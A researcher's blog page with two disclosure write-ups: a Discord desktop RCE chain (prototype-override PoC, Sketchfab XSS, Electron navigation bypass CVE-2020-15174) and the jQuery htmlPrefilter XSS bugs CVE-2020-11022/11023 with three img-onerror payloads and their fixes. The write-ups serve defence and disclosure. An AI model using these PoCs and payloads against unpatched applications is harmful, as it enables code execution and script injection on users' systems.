Saturday, October 17, 2020

Discord Desktop app RCE

A few months ago, I discovered a remote code execution issue in the Discord desktop application and I reported it via their Bug Bounty Program.

The RCE I found was an interesting one because it is achieved by combining multiple bugs. In this article, I'd like to share the details.

Why I chose Discord for the target

I kind of felt like finding for vulnerabilities of the Electron app, so I was looking for a bug bounty program which pays the bounty for an Electron app and I found Discord. Also, I am a Discord user and simply wanted to check if the app I'm using is secure, so I decided to investigate.

Bugs I found

Basically I found the following three bugs and achieved RCE by combining them.

  1. Missing contextIsolation
  2. XSS in iframe embeds
  3. Navigation restriction bypass (CVE-2020-15174)

I'll explain these bugs one by one.

Missing contextIsolation

When I test Electron app, first I always check the options of the BrowserWindow API, which is used to create a browser window. By checking it, I think about how RCE can be achieved when arbitrary JavaScript execution on the renderer is possible.

The Discord's Electron app is not an open source project but the Electron's JavaScript code is saved locally with the asar format and I was able to read it just by extracting it.

In the main window, the following options are used: 

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

The important options which we should check here are especially nodeIntegration and contextIsolation. From the above code, I found that the nodeIntegration option is set to false and the contextIsolation option is set to false (the default of the used version) in the Discord's main window.

If the nodeIntegration is set to true, a web page's JavaScript can use Node.js features easily just by calling the require(). For example, the way to execute the calc application on Windows is:

<script>
  require('child_process').exec('calc');
</script>

In this time, the nodeIntegration was set to false, so I couldn't use Node.js features by calling the require() directly.

However, there is still a possibility of access to Node.js features. The contextIsolation, another important option, was set to false. This option should not be set to false if you want to eliminate the possibility of RCE on your app.

If the contextIsolation is disabled, a web page's JavaScript can affect the execution of the Electron's internal JavaScript code on the renderer, and preload scripts (In the following, these JavaScript will be referred to as the JavaScript code outside web pages). For example, if you override  Array.prototype.join, one of the JavaScript built-in methods, with another function from a web page's JavaScript, the JavaScript code outside web pages also will use the overridden function when the join is called.

This behavior is dangerous because Electron allows the JavaScript code outside web pages to use the Node.js features regardless the nodeIntegration option and by interfering with them from the function overridden in the web page, it could be possible to achieve RCE even if the nodeIntegration is set to false.

By the way, a such trick was previously not known. It was first discovered in a pentest by Cure53, which I also joined in, in 2016. After that, we reported it to Electron team and the contextIsolation was introduced.

Recently, that pentest report was published. If you are interested, you can read it from the following link:

Pentest-Report Ethereum Mist 11.2016 - 10.2017
https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

You can also read the slides which I used at a CureCon event:


The contextIsolation introduces the separated contexts between the web page and the JavaScript code outside web pages so that the JavaScript execution of each code does not affect each. This is a necessary faeture to eliminate the possibility of RCE, but this time it was disabled in Discord.

Now I found that the contextIsolation is disabled, so I started looking for a place where I could execute arbitrary code by interfering with the JavaScript code outside web pages.

Usually, when I create a PoC for RCE in the Electron's pentests, I first try to achieve RCE by using the Electron's internal JavaScript code on the renderer. This is because the Electron's internal JavaScript code on the renderer can be executed in any Electron app, so basically I can reuse the same code to achieve RCE and it's easy.

In my slides, I introduced that RCE can be achieved by using the code which Electron executes at the navigation timing. It's not only possible from that code but there are such code in some places. (I'd like to publish examples of the PoC in the future.)

However, depending on the version of Electron used, or the BrowserWindow option which is set, because the code has been changed or the affected code can't be reached correctly, sometimes PoC via the Electron's code does not work well. In this time, it did not work, so I decided to change the target to the preload scripts.

When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via DiscordNative.nativeModules.requireModule('MODULE-NAME'), into the web page.

Here, I couldn't use modules that can be used for RCE directly, such as child_process module, but I found a code where RCE can be achieved by overriding the JavaScript built-in methods and interfering with the execution of the exposed module.

The following is the PoC. I was able to confirm that the calc application is popped up when I call the getGPUDriverVersions function which is defined in the module called "discord_utils" from devTools, while overriding the RegExp.prototype.test and Array.prototype.join.

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

The getGPUDriverVersions function tries to execute the program by using the "execa" library, like the following:

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

Usually the execa tries to execute "nvidia-smi.exe", which is specified in the nvidiaSmiPath variable, however, due to the overridden RegExp.prototype.test and Array.prototype.join, the argument is replaced to "calc" in the execa's internal processing.

Specifically, the argument is replaced by changing the following two parts.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

The remaining work is to find a way to execute JavaScript on the application. If I can find it, it leads to actual RCE.

XSS in iframe embeds

As explained above, I found that RCE could happen from arbitrary JavaScript execution, so I was trying to find an XSS vulnerability. The app supports the autolink or Markdown feature, but looked like it is good. So I turned my attention to the iframe embeds feature. The iframe embeds is the feature which automatically displays the video player on the chat when the YouTube URL is posted, for example.

When the URL is posted, Discord tries to get the OGP information of that URL and if there is the OGP information, it displays the page's title, description, thumbnail image, associated video and so on in the chat.

The Discord extracts the video URL from the OGP and only if the video URL is allowed domain and the URL has actually the URL format of the embeds page, the URL is embedded in the iframe.

I couldn't find the documentation about which services can be embedded in the iframe, so I tried to get a hint by checking the CSP's frame-src directive. At that time, the following CSP was used:

Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

Obviously, some of them are listed to allow iframe embeds (e.g. YouTube, Twitch, Spotify). I tried to check if the URL can be embeded in the iframe by specifying the domain into the OGP information one by one and tried to find XSS on the embedded domains. After some attempts, I found that the sketchfab.com, which is one of the domains listed in the CSP, can be embedded in the iframe and found XSS on the embeds page. I didn't know about Sketchfab at that time, but it seems that it is a platform in which users can publish, buy and sell 3D models. There was a simple DOM-based XSS in the footnote of the 3D model.

The following is the PoC, which has the crafted OGP. When I posted this URL to the chat, the Sketchfab was embedded into the iframe on the chat, and after a few clicks on the iframe, arbitrary JavaScript was executed.

https://l0.cm/discord_rce_og.html

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

Okay, finally I found an XSS, but the JavaScript is still executed on the iframe. Since Electron doesn't load the "JavaScript code outside web pages" into the iframe, so even if I override the JavaScript built-in methods on the iframe, I can't interfere with the Node.js' critical parts. To achieve RCE, we need to get out of the iframe and execute JavaScript in a top-level browsing context. This requires opening a new window from the iframe or navigating the top window to another URL from the iframe.

I checked the related code and I found the code to restrict navigations by using "new-window" and "will-navigate" event in the code of the main process:

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

I thought this code can correctly prevent users from opening the new window or navigating the top window. However, I noticed the unexpected behavior.

Navigation restriction bypass (CVE-2020-15174)

I thought the code is okay but I tried to check that the top navigation from the iframe is blocked anyway. Then, surprisingly, the navigation was not blocked for some reason. I expected that the attempt is catched by the "will-navigate" event before the navigation happens and refused by the preventDefault(), but is not.

To test this behavior, I created a small Electron app. And I found that the "will-navigate" event is not emitted from the top navigation started from an iframe for some reason. To be exact, if the top's origin and iframe's origin is in the same-origin, the event is emitted but if it is in the different origin, the event is not emitted. I didn't think that there is a a legitimate reason for this behavior, so I thought this is an Electron's bug and decided to report to Electron team later.

With the help of this bug, I was able to bypass the navigation restriction. The last thing I should do is just a navigation to the page which contains the RCE code by using the iframe's XSS, like top.location="//l0.cm/discord_calc.html".

In this way, by combining with three bugs, I was able to achieve RCE as shown in the video below.


In the end

These issues were reported through Discord's Bug Bounty Program. First, Discord team disabled the Sketchfab embeds, and a workaround was taken to prevent navigation from the iframe by adding the sandbox attribute to the iframe. After a while, the contextIsolation was enabled. Now even if I could execute arbitrary JavaScript on the app, RCE does not occur via the overridden JavaScript built-in methods. I received $5,000 as a reward for this discovery.

The XSS on Sketchfab was reported through Sketchfab's Bug Bounty Program and fixed by Sketchfab developers quickly. I received $300 as a reward for this discovery.

The bug in the "will-navigate" event was reported as a bug of Electron to Electron's security team, and it was fixed as the following vulnerability (CVE-2020-15174).

Unpreventable top-level navigation · Advisory · electron/electron
https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

That's it. Personally, I like that the external page's bug or Electron's bug, which is unrelated to the app itself's implementation, led to RCE :)

I hope this article helps you keep your Electron apps secure.

Thanks for reading!

Sunday, May 17, 2020

CVE-2020-11022/CVE-2020-11023: jQuery 3.5.0 Security Fix details

jQuery 3.5.0 was released last month. In this version, two bugs which I reported are included as "Security Fix".

jQuery 3.5.0 Released! | Official jQuery Blog
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

The bugs are regsited as CVE-2020-11022 and CVE-2020-11023:

https://github.com/advisories/GHSA-gxr4-xjj5-5px2
https://github.com/advisories/GHSA-jpcq-cgw6-v4j6

 In this article, I'd like to explain the bugs' details.

Overview of Problems


The application which has the following features is affected:

  • The application allows users to write any HTML (but it is sanitized)
  • The application dynamically appends the sanitized HTML with jQuery

The following code is an example of a such application:
<div id="div"></div>
<script>
//Sanitized safe HTML
sanitizedHTML = '<p title="foo">bar</p>';
//Just append the sanitized HTML to <div>
$('#div').html(sanitizedHTML);
</script>
In this situation, if the sanitization is performed properly, it looks like that usually XSS does not occur since it just appends the sanitized safe HTML. However, actually, .html() does the special string processing internally and it caused XSS. This is the issue which I'll explain in this article.

PoCs


There are many variations but I'll show basic three PoCs. Usually, JavaScript is not executed from the following HTMLs:

PoC 1.
<style><style /><img src=x onerror=alert(1)> 
PoC 2. (Only jQuery 3.x affected)
<img alt="<x" title="/><img src=x onerror=alert(1)>">
PoC 3.
<option><style></option></select><img src=x onerror=alert(1)></style>
You might think there is an img tag which has an onerror attribute, but if you check carefully, actually, it is placed in the attribute or inside of the style element, you will notice that it is not executed. So, even if those HTMLs are generated by an HTML sanitizer as the sanitized HTML, it is not unnatural at all.

However, in all cases, if the HTML is appended via jQuery .html(), JavaScript is executed unexpectedlly.

You can test each PoC in:
https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html

Next, I'll explain why it happens.

CVE-2020-11023: Root cause (PoC 1,2)


The PoC 1 and 2 have the same root cause. Within the .html(), the HTML string passed as the argument is passed to the $.htmlPrefilter() method. The htmlPrefilter performs the processing for replacing the self-closing tags like <tagname /> to <tagname ></tagname>, by using the following regex:

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi
[...]
htmlPrefilter: function( html ) {
  return html.replace( rxhtmlTag, "<$1></$2>" );
If the PoC 1's HTML passes through this replacement, the output will be:
> $.htmlPrefilter('<style><style /><img src=x onerror=alert(1)>')
< "<style><style ></style><img src=x onerror=alert(1)>"
The yellow part is the replaced string. Due to this replacement, the <style /> inside the style element is replaced to <style ></style> and as the result, the string after that is kicked out from the style element. After that, the .html() assigns the replaced HTML to innerHTML. Here, the <img ...> string becomes an actual img tag and it fires the onerror event.

By the way, the above regex is used in jQuery before 3.x. Since 3.x, another regex which is a bit modified is used:

https://github.com/jquery/jquery/commit/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi

This change introduced another XSS vector which can cause XSS by more basic elements and attributes only. The PoC 2's vector is introduced by this change. It works on jQuery 3.x only.
> $.htmlPrefilter('<img alt="<x" title="/><img src=x onerror=alert(1)>">')
< "<img alt="<x" title="></x"><img src=x onerror=alert(1)>">"
In this case, the <img ...> string on the attribute's value is kicked out and XSS happens.

I explained the root cause of PoC 1 and 2. How did the jQuery team fix this?

The Fix (PoC 1,2)


jQuery Team fixed this issue by replacing the $.htmlPrefilter() method to an identity function. Therefore, the passed HTML string is no longer modified by the htmlPrefilter function now.

https://github.com/jquery/jquery/commit/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198

However, this did not solve all XSS issues. Inside the .html(), another string processing is performed and introduces another problem (PoC 3).

CVE-2020-11022: Root cause (PoC 3)


Inside the .html(), if the tag that appears at the beginning of the HTML which is passed as an argument is one of specific tags, jQuery tries to wrap it with another tag once and do the next processing. This is because some tags are automatically removed due to the HTML's specification or browser's bug if there is no wrapping processing.

The opiton element is one of such elements - in MSIE9, due to its bug, the option element is automatically removed when it is assigned to innerHTML, if it is not wrapped with the select element.

To deal with this, jQuery tries to wrap the entire passed HTML string including that element with the <select multiple='multiple'> and </select> if the passed HTML string's first element is the option element.

The wrapped tags are defined in:
https://github.com/jquery/jquery/blob/3.4.1/src/manipulation/wrapMap.js#L9

The actual wrapping processing is done in:
https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation/buildFragment.js#L39

The issue of PoC 3 happens via this wrapping processing. If the PoC 3's HTML passes through this wrapping processing, the HTML will be:
<select multiple='multiple'><option><style></option></select><img src=x onerror=alert(1)></style></select>
When this HTML is assigned to innerHTML in the jQuery's internal code, JavaScript is executed.

The reason why the script is executed is in the <select> tag's parsing.The <select> does not allow putting HTML tags except the option, optgroup, script and template element inside that element. Due to this specification, the inserted <style> is just ignored, the </select> inside the <style> becomes an actual select element's closing-tag, and then <select> block is closed there. Eventually, the next <img ...> is kicked out from the <style> and the onerror event fires -> XSS. This was the root cause.

The Fix (PoC 3)


jQuery Team fixed this issue by applying the wrapping procesing to MSIE9 only.

https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25

MSIE9 is not vulnerable to this issue because MSIE9's <select> parsing is a bit special (yes, it's wrong). Therefore, applying the wrapping processing to MSIE9 only can solve this problem.

For your information, these issues exist not only in .html(), but also in .append(), $('<tag>') etc. Basically, the issue happens via the APIs in which the $.htmlPrefilter() method or wrapping processing is used internally.

Update it


If your application is appending the sanitized HTML via the jQuery functions, you should update to 3.5.0 or higher. If an updating is hard in some reason, I recommend sanitizing the HTML by using DOMPurify, which is XSS sanitizer. DOMPurify has a SAFE_FOR_JQUERY option and it can sanitize with considering the jQuery's behavior. You can use that, like this:

<div id="div"></div>
<script>
unsafeHtml = '<img alt="<x" title="/><img src=x onerror=alert(1)>">';
var sanitizedHtml = DOMPurify.sanitize( unsafeHtml, { SAFE_FOR_JQUERY: true } );
$('#div').html( sanitizedHtml );
</script>
Note that DOMPurify had the bypass in SAFE_FOR_JQUERY recently. Please make sure that you use 2.0.8 or higher.

In the end


I started to investigate this issue from XSS challenge by @PwnFunction:
https://xss.pwnfunction.com/challenges/ww3/

Actually, the some of these bugs were known and it was the expected solution of this challenge. (You can find that fact in the DOMPurify's change log. It was already known in 2014 at least and DOMPurify has the SAFE_FOR_JQUERY option since 2014. )

With the challenge as a trigger, I started to read jQuery's source code again and I noticed another vector (PoC 2), which is not mentioned publicly. Since this vector can allow XSS with the easy elements and attributes only, I thought many applications are vulnerable. When I actually investigated it, I found some vulnerable apps immediately. I reported it to the developer of the affected applications, at the same time I thought that this issue should be fixed by jQuery side, so I decided to report this to jQuery team. The jQuery team were quick to address the issues, even though they had to make breaking changes. Thank you jQuery team. Also, thanks to @PwnFunction, the creator of the XSS challenge, who gave me an opportunity to investigate this issue.

That's it. I hope this article helps for securing your web application or finding bugs.